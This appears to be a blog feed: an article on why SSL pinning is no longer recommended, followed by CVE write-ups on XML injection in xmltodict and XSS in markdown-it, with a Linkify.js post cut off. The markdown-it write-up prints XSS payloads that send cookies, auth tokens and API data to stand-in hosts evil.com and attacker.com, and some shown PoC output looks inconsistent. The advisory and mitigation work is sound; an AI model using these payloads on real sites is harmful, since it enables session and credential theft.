SSL pinning refers to configuring an application to accept only a predefined TLS certificate or public key when establishing secure connections. In a typical TLS handshake, the client (app) trusts any server certificate signed by a trusted CA (Certificate Authority) in the system's trust store. With pinning, the developer narrows this trust: the app stores or "pins" a specific server certificate (or its public key or the issuing CA's key) and will reject all others, even if they are otherwise valid.

In practice, mobile developers have implemented pinning in a few ways:

In Android:
Historically via custom TrustManager implementations that check the server's certificate against a known good certificate or public key. Modern Android apps can use Network Security Configuration (an XML config) to enforce pinning for specific domains without writing code. For example, developers might include the SHA-256 hashes of the allowed certificates in the config. Libraries like OkHttp also provided a CertificatePinner utility for pinning in code. These approaches ensure the app only trusts the specified certs.
In iOS:
Commonly by implementing the URLSessionDelegate method didReceive(authenticationChallenge:) to intercept the server certificate and verify it matches a bundled certificate or key. More recently, iOS 14+ introduced a declarative pinning capability via the app's Info.plist (App Transport Security settings). Developers can list domains under NSAppTransportSecurity > NSPinnedDomains with one or more NSPinnedCAIdentities or public key hashes to pin the server's identity. This "identity pinning" is native support for SSL pinning on Apple platforms.

By using these techniques, an app tightens the TLS verification beyond the default. If an attacker or malicious network presents any certificate that isn't the one the app expects (even if it's otherwise valid or signed by a public CA), the connection is aborted. This was seen as an extra layer of defense on top of the standard HTTPS validation.

Original Benefits and Motivations for SSL Pinning

When SSL pinning was first adopted, it addressed real concerns about the trustworthiness of CAs and the potential for MITM attacks via rogue certificates. Some key motivations and perceived benefits were:

Protection Against Malicious CAs or Misissued Certificates:
In the past, there were incidents where CAs were breached or tricked into issuing certificates to impostors (for example, the DigiNotar and Comodo breaches in 2011 led to fraudulent certificates for major domains). Pinning gave developers peace of mind that even if a malicious or compromised CA issued a cert for their API domain, the app would reject it because it wasn't the exact cert/key that was pinned. This narrowed the trust scope to only the known server identity.
Mitigating User-Installed or Device CAs:
Mobile devices can have user-added root certificates (especially Android devices pre-Android 7 trusted user-added CAs by default). Attackers or malware could potentially install a fake root CA on a device to intercept traffic. With pinning, the app ignores any such new CAs, it only trusts the pinned cert, preventing MITM via local malicious roots. Similarly, corporate or public Wi-Fi networks that hijack traffic with their own trusted proxy cert would be blocked by pinning (only the real server cert passes).
Ensuring Exactly the Right Server:
Pinning was appealing for high-security apps (banking, payments, healthcare) as a form of "lockdown", you know exactly which server or CA your app should talk to. By hardcoding that trust, developers aimed to reduce the attack surface. It's a bit of a belt-and-suspenders approach: even if the default PKI ecosystem were to falter, the pinned cert or key remains as an uncompromised source of truth.
Preventing Silent Fail-open Scenarios:
In a normal TLS scenario, if a certificate is untrusted, the connection fails, but some developers feared advanced attackers could somehow exploit users into bypassing warnings. In mobile apps, there typically is no interactive warning (the app either connects or it doesn't), so pinning was seen as a way to guarantee no unexpected certs are accepted under the hood. The app's logic would simply refuse anything except the known good certificate, with no option to proceed otherwise.

These benefits made SSL pinning a widely recommended practice for a time. Security guides often listed certificate pinning as an important control to prevent advanced MITM attacks. Many developers implemented it hoping to gain an extra layer of security for sensitive data in transit, on top of TLS.
In summary, the original promise of pinning was improved security trust, ensuring that a mobile app is truly talking to its intended server and not an impostor, even in scenarios where the global CA system might be undermined.

Why SSL Pinning Is No Longer Recommended

In recent years, consensus has shifted: the downsides of SSL pinning now clearly outweigh its benefits in most cases. Both Google and Apple (stewards of Android and iOS) advise against using certificate pinning for typical apps, and the broader security community considers pinning a fragile solution. Here are the key reasons why SSL pinning is considered obsolete or inadvisable today:

Fragility and Risk of Outages

Pinning makes your app's connectivity tightly bound to a specific certificate or key, which will inevitably change over time. Certificates expire (often yearly, as industry rules now cap their validity), CAs may rotate or be replaced, or you might switch to a different certificate provider. When that happens, a pinned app will break, it will refuse to connect to the server because the "expected" certificate changed.

The only fix is to release an app update with the new pin, and all users must upgrade before connectivity is restored. This creates a serious risk of downtime.

"If the pinned certificate changes due to renewal, revocation, or CA migration, the application will stop working until a new version of the app with an updated certificate is released,"
as one 2025 analysis noted, meaning apps can suddenly break and critical services become unavailable until a fix is deployed and adopted.

Google's official Android guidance explicitly cautions that certificate pinning is not recommended because "future server configuration changes, such as changing to another CA, will render apps with pinned certificates unable to connect to the server without a client software update."

In other words, pinning couples your app to your current certificate infrastructure so tightly that any routine change becomes a potentially breaking change.

High Maintenance Overhead

Because of the fragility above, using pinning responsibly requires meticulous planning and maintenance. Developers need to anticipate certificate rotations and have processes in place to update pins proactively.

Best practices for pinning call for including multiple backup pins (e.g. pinning to a set of public keys) and short pin lifetimes, in an attempt to mitigate the risk of lockout.

Apple's documentation warns that if you do pin, you must "think long term" and plan for both planned and unplanned certificate changes, including shipping app updates on short notice if something changes. Many teams simply do not have the operational rigor to manage this without error.

Real-world incidents show that organizations often forget about pins they set. For example, Cloudflare observed a surge in customer outages in 2024 after routine certificate authority changes,

"almost all customers that were impacted by the change were unaware that they had a certificate pin in place."

These teams had adopted a "set and forget" mentality, only to have their apps suddenly unable to connect when the backend's certificate chain changed.

In today's agile DevOps environment of frequent certificate renewals, pinning turns certificate management into a landmine; if you're not extremely careful, a normal cert update could brick your app's network functionality.

Limited Security Benefits (and False Sense of Security)

Ironically, the security gains from pinning are not as strong as they once appeared. Pinning is a client-side control that can be bypassed by determined attackers who have control over the runtime environment.

Security testers and malicious actors routinely use tools like Frida (a dynamic instrumentation toolkit) or custom frameworks to hook or modify app behavior and disable SSL pinning checks at runtime.

In other words, an attacker who is sophisticated enough to perform an active MITM on your app is likely capable of also defeating pinning (by rooting/jailbreaking the device or using instrumentation). This means pinning often only stops casual or passive attackers, but not a dedicated adversary, giving developers an illusion of security.

As one industry blog put it:

"SSL pinning is often recommended as a best practice, but in reality, it is an illusion of security ... it can easily be bypassed by attackers, making it more of an inconvenience for developers than a robust security measure."

Also, consider the scenario of a compromised server key: if the very certificate or key you pinned is stolen by an attacker, pinning won't help, the attacker can then impersonate the server with the valid certificate, and the app will happily trust it.

Pinning doesn't account for key compromise (whereas the broader PKI ecosystem at least attempts revocation, etc.). In summary, pinning is not a silver bullet, it stops some attacks, but is far from foolproof.

No Protection Against CA Ecosystem Improvements

The original motivation of pinning, fear of rogue CAs, has been largely mitigated by improvements in the industry (more on this later). Browsers and operating systems have become much more aggressive at policing CAs and reacting to mis-issuance. Major tech companies maintain tight control of root trust stores and have shown willingness to rapidly distrust CAs that go astray.

Initiatives like Certificate Transparency (CT) now provide visibility into every certificate issued, making it hard for a bad cert to go unnoticed. In essence, the public PKI infrastructure is more secure and agile than it was a decade ago, with shortened certificate lifetimes and automated issuance.

The cost-benefit equation has changed: the risk of a rogue certificate (which pinning would protect against) is now quite low, whereas the risk of your own app breaking due to pinning is comparatively higher.

The OWASP Foundation's guidance as of 2025 concludes that:

"Considering the current risks in the CA and browser space and comparing them to the risk of down time, pinning is not recommended."

In short, the security community believes the web PKI + modern enhancements can be trusted enough in most cases, such that pinning's marginal benefit isn't worth its very real costs.

Misuse and Implementation Pitfalls

Pinning is tricky to implement correctly. Many developers in the past have made mistakes like:

pinning the leaf certificate only (which changes at every renewal),
pinning only one of several backend hosts,
not providing a graceful fallback.

A notorious example in web security was HTTP Public Key Pinning (HPKP), a now-deprecated mechanism where servers told browsers to pin keys, many sites ended up bricking themselves by pinning incorrectly (so much so that browsers removed HPKP support entirely by 2019).

In mobile apps, a common mistake is failing to include a backup key. Both Android and iOS docs urge that if you must pin, include multiple pins (e.g., the current key and a future key under your control, or pin a CA's key).

Another pitfall is developers sometimes confuse certificate validation with pinning and accidentally disable validation, thinking they'll "do pinning manually." Google explicitly warns against solutions that install a do-nothing TrustManager (which accepts all certs), that's worse than no pinning, as it disables security entirely.

Overall, there's a lot of room for error, and an improperly implemented pin can downgrade security or cause needless failures. It's a fragile mechanism requiring careful engineering discipline that many teams lack.

Interference with Debugging, Testing, and User Environments

SSL pinning doesn't just hinder attackers, it can hinder legitimate scenarios too. Developers and QA/Security testers often need to intercept HTTPS traffic for debugging (using tools like Charles Proxy or Burp Suite), but a pinned app will simply refuse to connect through these tools because the proxy's certificate isn't the pinned one.

This means teams have to build backdoors or special debug builds without pinning to allow testing, adding complexity. From a penetration testing perspective, pinning can slow down the assessment (testers must use jailbreak/root techniques to bypass it), but as noted, it's not a serious roadblock, just an inconvenience.

More importantly, pinning can disrupt real-world network environments. Many enterprise networks and antivirus products legitimately intercept TLS traffic (with the device's consent) to scan for threats, using a private CA installed on the device.

A corporate employee running your app behind such a proxy or a user with a network security tool might find your app doesn't work at all due to pinning. As OWASP notes:

"Many corporate environments use MITM based TLS inspection, which issues cloned certificates from a corporate trusted CA. While the naming information would match, the certificate’s public key would not. This could create an unintended denial of service on the application."

In other words, your app could be completely unable to function on certain networks because it rejects the proxy's certificate, even if that proxy is trusted by the operating system. This makes pinning a liability in terms of compatibility and user experience.

It can also complicate operational troubleshooting: if an outage occurs (say your server switches to a new cert chain), it might not be immediately obvious to developers that the pinning is the culprit, leading to longer downtime.

Given these issues, it's no surprise that platform providers have changed their stance. Google's Android team and Apple both discourage SSL pinning for most apps.

The Android Developers Guide bluntly states that pinning:

"is not recommended for Android apps"

due to exactly the kinds of fragility and maintenance problems described.

Apple's guidance is similar: an official Apple Developer Technical Note from 2021 emphasizes that:

"Pinning certificates is not required" for security and "in most cases, pinning is not necessary and should be avoided"

with default TLS trust sufficing for the vast majority of apps.

Both Google and Apple essentially ask developers: are you sure you need to do this? Only in very special circumstances (like complying with a specific regulatory requirement to trust a private CA, or an extremely high-risk threat model) might pinning be justified, and even then, it must be managed carefully with fallback plans.

The overarching message is clear: SSL pinning has become a legacy approach and is no longer a best practice for mobile app security.

Modern Best Practices for Securing Mobile HTTPS Communications

With SSL pinning largely deprecated, what should mobile developers and security testers focus on to ensure secure HTTPS connections? The good news is that today's platforms and infrastructure offer many layers of protection by default. Here are current best practices for securing network communication in mobile apps without resorting to fragile pinning:

1. Rely on the Built-in PKI and Trust Stores

Both Android and iOS maintain a system CA trust store that is continuously updated with trusted root certificates. These platforms (Google, Apple, Mozilla, Microsoft) collaboratively manage trust and will revoke or distrust bad CAs to protect users.

Unless you have a specific need, trust the system to do its job. The major OS vendors have made security of the certificate ecosystem a priority and have far more resources to evaluate CAs than any individual app developer.

In modern Android and iOS, apps by default trust only well-vetted public CAs (and on Android, user-added CAs are not trusted by apps targeting recent API levels, unless you opt-in). This significantly limits the risk of a rogue certificate being accepted.

In essence, leveraging the default PKI means you inherit improvements like CA/Browser Forum governance, browser/OS root programs, and timely security updates. Pinning is usually unnecessary because the default trust model is robust for most use cases.

2. Enable Certificate Transparency (CT) and Monitoring

Certificate Transparency is a system of public logs that record all certificates issued by publicly trusted CAs. CT has become mandatory for CAs (browsers will distrust certificates not present in CT logs).

Mobile apps can take advantage of this by requiring CT compliance and monitoring logs for their domains.

Android: Network Security Configuration allows an opt-in for certificate transparency, meaning your app will only accept certificates that have valid SCTs (Signed Certificate Timestamps) proving they were logged in CT.
iOS: Provides the NSRequiresCertificateTransparency flag in App Transport Security to require CT for certain domains, as noted by Apple's engineers.

Enforcing CT means that if someone (even a trusted CA) tries to issue a certificate for your domain behind your back, it would not be accepted by the app unless it's publicly logged (and you could detect it).

Apple's security team has highlighted CT as a "great tool" to verify server certificates and recommended checking for CT compliance when evaluating a server's trustworthiness.

In practice, you should also set up CT monitoring: there are services (and free tools) that alert you if a new certificate for your app's domains appears in the logs. This way, you can quickly respond to any misissued or malicious certificates (e.g., by revoking them or alerting the CA) without needing to pin.

CT provides transparency and accountability in the certificate ecosystem, covering the threat that pinning was meant to catch, but in a far more flexible way.

3. Use HSTS and Secure Server Configurations

On the server side, enable HTTP Strict Transport Security (HSTS) for your domains. HSTS instructs browsers (and by extension in-app web views) to never downgrade to HTTP and to automatically redirect to HTTPS.

While a mobile app's own network calls will typically be coded to use HTTPS already, HSTS is still valuable if any part of your app uses web content or if users might interact with links to your domain. It eliminates certain MITM tricks (like stripping HTTPS to HTTP).

Moreover, even though mobile apps don't inherently parse HSTS headers, having HSTS on your API domain means if someone tries to access it via a browser (for example, an OAuth login flow or a user following a link), they'll be protected.

Consider getting your domain on the HSTS preload list if appropriate, which ensures all clients know to use HTTPS from the first visit.

Alongside HSTS, make sure your TLS configuration on the server is solid:

Support the latest protocols (TLS 1.3 and 1.2, drop older versions).
Use strong cipher suites.
Keep your server's TLS library up to date.

The good news is that mobile platforms enforce this to some extent:

iOS's App Transport Security by default requires TLS 1.2+ and reasonable ciphers.
Android will by default use TLS 1.3 when available.

So adhere to those defaults, don't weaken security by allowing old protocols. Enabling features like OCSP Stapling and checking certificate revocation status can also help (though revocation checking in mobile apps can be tricky and is often bypassed if not stapled).

In summary: treat your server's TLS config with the same care as you would for a banking website: score an "A" on SSL Labs, use modern TLS and strong algorithms. A robust TLS setup reduces the risk of any successful MITM.

4. Leverage Public Key Infrastructure Extensions (CAA, etc.)

The broader PKI ecosystem offers additional tools to harden certificate issuance. One such measure is CAA (Certificate Authority Authorization) DNS records.

By publishing CAA records, you specify which CAs are allowed to issue certificates for your domain. This won't directly be known to the app, but it prevents unauthorized CAs from issuing certs in the first place (or at least, compliant CAs will refuse if they're not on your list).

For example, you might set a CAA record to only allow pki.goog (Google Trust Services) or Let's Encrypt for your domain. This way, even if someone tricked a lesser-known CA, that CA should deny the request.

Using CAA in combination with CT monitoring significantly lowers the likelihood of misissued certs going unnoticed.

Another emerging concept is DANE (DNS-based Authentication of Named Entities), where the TLS public key or certificate is pinned in DNS (secured by DNSSEC). DANE isn't widely adopted in mobile apps yet, but it's an interesting future path.

The key point is that there are standards-based ways to lock down certificate issuance and validity that operate at the infrastructure level, rather than baked into app code.

5. Follow Platform Security Best Practices

Use the security features provided by Android and iOS rather than reinventing the wheel.

On Android:
Use Network Security Configuration files to declaratively enforce policies:
- disallow cleartext (HTTP) entirely,
- add any custom CA if you genuinely need it (for instance, in a debug build or for an internal server),
- enable the certificate transparency requirement as mentioned earlier.
The Network Security Config also allows a debug-overrides section, so you can allow certain debugging CAs during development without affecting production builds, a much safer approach than writing custom trust logic.
On iOS:
App Transport Security (ATS) is enabled by default, which already requires HTTPS connections, strong ciphers, and certificate trust built-in. Avoid turning off ATS exceptions unless absolutely necessary.

If you have to allow an HTTP endpoint or a weaker cipher for some reason, scope it narrowly in your Info.plist.

Essentially, align with the platform's default security posture: both iOS and Android by 2025 have very sane defaults that eliminate most trivial MITM opportunities (e.g. no user-added CA trust on Android by default for new apps, mandatory TLS, etc.).

Where you have special needs, prefer configuration to code. And if you ever consider doing pinning-like restrictions, use the provided configuration mechanisms rather than custom code, they are less error-prone and easier to update.

Conclusion

SSL pinning had its moment in the spotlight as a clever solution to bolster connection security in mobile apps. But as we've discussed, that solution has proven to be a double-edged sword. Over time, the drawbacks, unexpected outages, difficult maintenance, compatibility problems, and limited real security gains, have become apparent through hard experience.

In the meantime, the security of the web's PKI infrastructure has improved with initiatives like shorter certificate lifetimes, Certificate Transparency, and stricter CA oversight. The competitive advantage today is to work with those improvements rather than against them.

Industry leaders and platform providers now virtually all agree: SSL pinning is largely obsolete as a best practice. Unless you have a truly compelling use case and the capacity to manage it correctly, you should avoid pinning in your Android and iOS apps.

Google says don't do it.
Apple says you shouldn't need it.

If you still think you need pinning, carefully weigh the trade-offs and ensure you implement it with multiple pins, backups, and a plan for rotation, and be prepared for the headaches that come with it.

For the vast majority of mobile apps, you'll achieve far better security and reliability by embracing modern TLS configurations and platform security features:

Use HTTPS everywhere (mandatory on mobile now anyway).
Enforce strong TLS.
Turn on certificate transparency enforcement.
Keep an eye on your domain's certificates via CT logs.
Harden your servers and use measures like HSTS and CAA to prevent and detect misuse of certificates.

And remember that ultimately, security is multilayered: the transport layer is just one piece. A secure app also involves proper authentication, data encryption at rest, code integrity checks, and so on.

In 2025, the consensus is that it's time to move on from SSL pinning.
What once may have provided a sense of security is now understood to be more trouble than it's worth in most cases. By following current best practices and the guidance of Android and iOS developers, you can secure your app's network communication in a robust way without resorting to pinning, achieving security and stability for both your development process and your users.

Sources

CVE-2025-9375: XML Injection Vulnerability in xmltodict 0.14.2 - Mono

Mon, 25 Aug 2025 00:00:00 GMT

Executive Summary

I discovered an XML Injection vulnerability in xmltodict version 0.14.2, a popular Python library with over 1.5 million weekly downloads on PyPI. This vulnerability allows attackers to inject arbitrary XML markup through crafted dictionary keys, potentially leading to XML structure manipulation, data corruption, and in web contexts, cross-site scripting (XSS) attacks.

The vulnerability stems from insufficient input validation in the _emit function, where user-controlled dictionary keys are directly used as XML tag names without any sanitization or validation.

Background: Understanding xmltodict

xmltodict is a Python library that provides bidirectional conversion between XML and Python dictionaries. Its primary functions are:

xmltodict.parse() - Converts XML to Python dictionaries
xmltodict.unparse() - Converts Python dictionaries back to XML

The library is widely used in web applications, APIs, and data processing pipelines where XML manipulation is required. Its popularity makes this vulnerability particularly concerning from a supply chain security perspective.

Technical Analysis

The Vulnerable Code Path

The vulnerability resides in the _emit function within xmltodict.py (lines 378-451). Let's examine the critical code path:

def _emit(key, value, content_handler,
          attr_prefix='@',
          cdata_key='#text',
          depth=0,
          preprocessor=None,
          pretty=False,
          newl='\n',
          indent='\t',
          namespace_separator=':',
          namespaces=None,
          full_document=True,
          expand_iter=None):
    key = _process_namespace(key, namespaces, namespace_separator, attr_prefix)
    if preprocessor is not None:
        result = preprocessor(key, value)
        if result is None:
            return
        key, value = result
    # ... processing logic ...
    
    # VULNERABLE LINE: Direct use of user input as XML tag
    content_handler.startElement(key, AttributesImpl(attrs))  # Line 436
    
    # ... more processing ...
    
    content_handler.endElement(key)  # Line 449

Root Cause Analysis

The vulnerability occurs because:

No Input Validation: The key parameter (dictionary keys from user input) is used directly as an XML element name
Missing Sanitization: No escaping or validation is performed on the key before passing it to startElement()
Trust Assumption: The code assumes dictionary keys are safe XML tag names

XML Tag Name Requirements vs Reality

Valid XML tag names must follow these rules:

Start with a letter or underscore
Contain only letters, digits, hyphens, periods, and underscores
Cannot contain spaces or special characters like <, >, &

The vulnerability exploits the fact that xmltodict doesn't enforce these constraints.

Exploitation Scenarios

Basic XML Structure Manipulation

Payload:

malicious_data = {"item><injected>malicious content</injected><item": "value"}
xml_output = xmltodict.unparse(malicious_data, full_document=False)
print(xml_output)

Output:

<item><injected>malicious content</injected><item>value</item><injected>malicious content</injected><item>

The injected XML breaks the intended structure and introduces arbitrary elements.

Advanced Multi-Stage Injection

Payload:

complex_payload = {
    "product><price>999999</price><description>HACKED": "legitimate_value",
    "legitimate_field": "normal_data"
}

This could manipulate e-commerce XML data by injecting false pricing information.

Web Application Context

In web applications that render XML output in browsers:

Payload:

xss_payload = {"item><script>alert('XSS')</script><item": "data"}

When this XML is rendered in a web context without proper escaping, it results in JavaScript execution.

Proof of Concept

Here's a complete demonstration:

#!/usr/bin/env python3
import xmltodict

def demonstrate_xml_injection():
    """Demonstrates the XML injection vulnerability"""

    print("=== CVE-2025-9375 XML Injection PoC ===\n")

    # Test Case 1: Basic structure breaking
    print("1. Basic XML structure manipulation:")
    payload1 = {"item><injected>MALICIOUS CONTENT</injected><dummy": "value"}
    result1 = xmltodict.unparse(payload1, full_document=False)
    print(f"Input: {payload1}")
    print(f"Output: {result1}")
    print()

    # Test Case 2: Attribute injection
    print("2. Attribute injection:")
    payload2 = {"item attribute='malicious'": "value"}
    result2 = xmltodict.unparse(payload2, full_document=False)
    print(f"Input: {payload2}")
    print(f"Output: {result2}")
    print()

    # Test Case 3: CDATA breaking
    print("3. CDATA section injection:")
    payload3 = {"item><![CDATA[]]><script>alert('XSS')</script><dummy": "value"}
    result3 = xmltodict.unparse(payload3, full_document=False)
    print(f"Input: {payload3}")
    print(f"Output: {result3}")
    print()

if __name__ == "__main__":
    demonstrate_xml_injection()

Expected Output:

=== CVE-2025-9375 XML Injection PoC ===

1. Basic XML structure manipulation:
Input: {'item><injected>MALICIOUS CONTENT</injected><dummy': 'value'}
Output: <item><injected>MALICIOUS CONTENT</injected><dummy>value</item><injected>MALICIOUS CONTENT</injected><dummy>

2. Attribute injection:
Input: {"item attribute='malicious'": 'value'}
Output: <item attribute='malicious'>value</item attribute='malicious'>

3. CDATA section injection:
Input: {"item><![CDATA[]]><script>alert('XSS')</script><dummy": 'value'}
Output: <item><![CDATA[]]><script>alert('XSS')</script><dummy>value</item><![CDATA[]]><script>alert('XSS')</script><dummy>

Impact Assessment

Real-World Impact Scenarios

API Data Corruption: REST APIs using xmltodict for XML responses could have their data structure corrupted
Configuration File Manipulation: Applications that generate XML config files could be compromised
Web Application XSS: When XML output is rendered in browsers, XSS attacks become possible
Data Processing Pipelines: ETL processes could inject malicious data into downstream systems
Document Generation: PDF or report generators using XML templates could be manipulated

Affected Systems

Any application using xmltodict.unparse() with user-controlled dictionary keys is vulnerable:

Web APIs converting JSON to XML
Configuration management systems
Data transformation pipelines
Document generation services
Integration platforms

Mitigation Strategies

Input Validation: Validate dictionary keys before passing to unparse()

import re
def safe_xml_key(key):
    # Only allow valid XML name characters
    return re.match(r'^[a-zA-Z_][a-zA-Z0-9_.-]*$', key) is not None

Key Sanitization: Sanitize keys to remove dangerous characters

def sanitize_dict_keys(data):
    if isinstance(data, dict):
        sanitized = {}
        for key, value in data.items():
            # Replace invalid characters
            safe_key = re.sub(r'[^a-zA-Z0-9_.-]', '_', str(key))
            sanitized[safe_key] = sanitize_dict_keys(value)
        return sanitized
    return data

Alternative Libraries: Consider using libraries with better input validation.

References:

CVE-2025-7969: Markdown-it Fence Rendering XSS - Fito

Wed, 20 Aug 2025 00:00:00 GMT

TL;DR

Markdown-it 14.1.0 contains an XSS vulnerability (CVE-2025-7969) that enables arbitrary JavaScript execution through a fence rendering bypass. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.

Technical Analysis

The Core Vulnerability

The vulnerability exists in the library's fence rendering logic. Markdown-it uses a naive string check in its default_rules.fence function that bypasses all security controls when highlight functions return HTML starting with <pre:

// lib/renderer.mjs lines 48-50
if (highlighted.indexOf('<pre') === 0) {
    return highlighted + '\n'  // Direct return bypasses all sanitization
}

Fence Rendering Mechanics

When processing fenced code blocks, the library accepts user-controlled content through custom highlight functions. The vulnerability occurs when:

A custom options.highlight function processes user input
The function returns content that starts with the string <pre
Markdown-it bypasses all HTML escaping and sanitization
Malicious content is injected directly into the DOM

// Vulnerable fence processing flow
default_rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx]
  // ... language processing ...
  
  let highlighted
  if (options.highlight) {
    // User-controlled content processed here
    highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
  } else {
    highlighted = escapeHtml(token.content)  // Safe path
  }

  // THE VULNERABILITY: No validation of highlight function output
  if (highlighted.indexOf('<pre') === 0) {
    return highlighted + '\n'  // Direct injection!
  }
  
  // Normal safe rendering path
  return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
}

The XSS Injection Chain

Input Phase:
- User provides fenced code block with malicious content
- Content is designed to trick highlight functions into returning <pre-prefixed HTML
Processing Phase:
- Custom highlight function processes the malicious input
- Function returns HTML containing both legitimate <pre> tags and malicious payloads
Bypass Phase:
- Markdown-it's string check highlighted.indexOf('<pre') === 0 passes
- All sanitization is bypassed - content returned directly
Injection Phase:
- Malicious HTML/JavaScript executes in browser context
- No Content Security Policy or input validation can stop it at this point

Advanced Exploitation Vectors

Direct Code Block Injection

const maliciousMarkdown = `
\`\`\`javascript
<pre><code>console.log("Normal code");</code></pre><img src="x" onerror="alert('XSS!')">
\`\`\`
`;

// Highlight function that enables the vulnerability
const vulnerableHighlight = (str, lang, attrs) => {
    if (str.trim().startsWith('<pre')) {
        return str;  // Direct return enables bypass
    }
    return `<pre><code>${str}</code></pre>`;
};

Event Handler Injection

const eventHandlerPayload = `
\`\`\`html
<pre onclick="fetch('/api/user', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('//evil.com/'+btoa(JSON.stringify(d))))" style="cursor:pointer;background:#f00;color:white;padding:10px;">
Click for data exfiltration
</pre>
\`\`\`
`;

DOM-Based XSS Chain

// Multi-stage attack through DOM manipulation
const domChainPayload = `
\`\`\`javascript
<pre><code>function legitimate() { return true; }</code></pre>
<script>
// Stage 1: Setup persistence
localStorage.setItem('xss_payload', 'document.body.innerHTML="<h1>PWNED</h1>"');

// Stage 2: Trigger on user interaction
document.addEventListener('click', () => {
    eval(localStorage.getItem('xss_payload'));
});
</script>
\`\`\`
`;

Bypassing Traditional Protections

Content Security Policy (CSP):
- Many CSP implementations allow inline event handlers
- The vulnerability occurs during markdown processing, before CSP evaluation
- Malicious content appears as "legitimate" markdown output
Input Sanitization:
- Traditional HTML sanitizers run after markdown processing
- The vulnerability bypasses markdown-it's internal sanitization
- Malicious content looks like valid HTML structure
Server-Side Rendering:
- XSS executes during client-side hydration
- Server logs show "legitimate" markdown processing
- Difficult to detect through traditional monitoring

Exploitation Techniques

Stored XSS via Documentation Systems

// Vulnerable documentation platform
app.post('/docs/create', (req, res) => {
    const { content, title } = req.body;
    
    // Process markdown with vulnerable highlight function
    const html = md.render(content);
    
    // Store in database - becomes persistent XSS
    database.docs.insert({
        title,
        content: html,  // Stored XSS payload
        created: new Date()
    });
});

Reflected XSS via Live Previews

// Live markdown preview endpoint (vulnerable)
app.get('/preview', (req, res) => {
    const markdown = req.query.content;
    
    // Real-time processing enables reflected XSS
    const preview = md.render(markdown);
    
    res.json({ preview });  // XSS in response
});

Supply Chain Attacks

// Malicious highlight function in compromised package
const compromisedHighlighter = (code, lang) => {
    // Legitimate highlighting
    const result = actualHighlight(code, lang);
    
    // Inject backdoor when specific conditions met
    if (code.includes('SECRET_TRIGGER')) {
        return `<pre><code>${result}</code></pre><img src="x" onerror="fetch('//attacker.com/harvest?data='+document.cookie)">`;
    }
    
    return result;
};

Advanced Payload Construction

Multi-Vector Attack

const multiVectorPayload = `
\`\`\`html
<pre id="legit"><code>function example() { return 42; }</code></pre>
<style>
#legit { display: none; }
body::after { 
  content: "Loading..."; 
  position: fixed; 
  top: 50%; 
  left: 50%; 
  transform: translate(-50%, -50%);
  font-size: 24px;
}
</style>
<script>
// Delayed execution to avoid detection
setTimeout(() => {
  // Credential harvesting
  const token = localStorage.getItem('auth_token');
  const session = document.cookie;
  
  // Data exfiltration
  fetch('//evil.com/collect', {
    method: 'POST',
    body: JSON.stringify({ token, session, url: location.href }),
    headers: { 'Content-Type': 'application/json' }
  });
  
  // Cover tracks
  document.querySelector('style').remove();
  document.getElementById('legit').style.display = 'block';
}, 2000);
</script>
\`\`\`
`;

Mitigation Strategies

Immediate Actions

Upgrade markdown-it to patched version (not yet available)
```
npm install markdown-it@latest
```

Temporary Workarounds

// Safe highlight function wrapper
function safeHighlight(originalHighlight) {
  return function(str, lang, attrs) {
    const result = originalHighlight(str, lang, attrs);
    
    // Never return content starting with <pre
    if (typeof result === 'string' && result.indexOf('<pre') === 0) {
      // Force safe rendering path
      return null;
    }
    
    return result;
  };
}

// Usage
const md = new MarkdownIt({
  highlight: safeHighlight(myHighlightFunction)
});

Secure Implementation Patterns

Output Validation (simple validatons to make a point)

function validateHighlightOutput(output, originalContent) {
  // Reject any output that starts with HTML tags
  if (/<[^>]+>/.test(output.trim().substring(0, 10))) {
    throw new Error('Highlight function returned unsafe HTML');
  }
  
  // Ensure output doesn't contain script tags or event handlers
  const dangerousPatterns = [
    /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
    /\bon\w+\s*=/gi,
    /javascript:/gi,
    /data:text\/html/gi
  ];
  
  for (const pattern of dangerousPatterns) {
    if (pattern.test(output)) {
      throw new Error('Highlight function returned malicious content');
    }
  }
  
  return output;
}

Content Security Policy

// Strict CSP for markdown content
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self' 'unsafe-inline'",  // Only if absolutely necessary
    "object-src 'none'",
    "style-src 'self' 'unsafe-inline'",   // For syntax highlighting
    "img-src 'self' data: https:",
    "connect-src 'self'"
  ].join('; '));
  next();
});

HTML Sanitization

import DOMPurify from 'dompurify';

// Always sanitize markdown output
function renderSafeMarkdown(content, options) {
  const html = md.render(content, options);
  
  // Sanitize the final HTML output
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'h1', 'h2', 'h3'],
    ALLOWED_ATTR: ['class'],
    FORBID_SCRIPT: true,
    FORBID_TAGS: ['script', 'object', 'embed', 'link'],
    FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover']
  });
}

Conclusion

This vulnerability demonstrates the critical importance of output validation in markdown processing libraries. The bypass mechanism in markdown-it's fence rendering creates a significant attack surface that affects any application using custom highlight functions.

The impact is particularly severe given markdown-it's widespread adoption in documentation platforms, content management systems, and developer tools. Organizations should prioritize upgrading to patched versions (hopefully available soon) and implementing additional security layers.

References

Exploit PoC

import MarkdownIt from 'markdown-it';

// Vulnerable highlight function
const highlight = (str, lang) => {
  if (str.trim().startsWith('<pre')) {
    return str;  // This enables the bypass
  }
  return `<pre><code>${str}</code></pre>`;
};

const md = new MarkdownIt({ highlight });

const payload = `
\`\`\`javascript
<pre><code>console.log("Hello");</code></pre><img src="x" onerror="alert('XSS!')">
\`\`\`
`;

console.log(md.render(payload));

Result: XSS payload executes when the generated HTML is rendered in browser.

Impact

Stored/Reflected/DOM-based XSS in any application using vulnerable markdown-it
Affects documentation platforms, CMSs, and developer tools
CVE reserved: CVE-2025-7969

CVE-2025-8101: Linkify.js Prototype Pollution & XSS - Charly

Sat, 26 Jul 2025 00:00:00 GMT

TL;DR

Linkify.js 4.3.1 contains a prototype pollution vulnerability (CVE-2025-8101) that enables remote code execution through XSS. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.

Technical Analysis

The Core Vulnerability

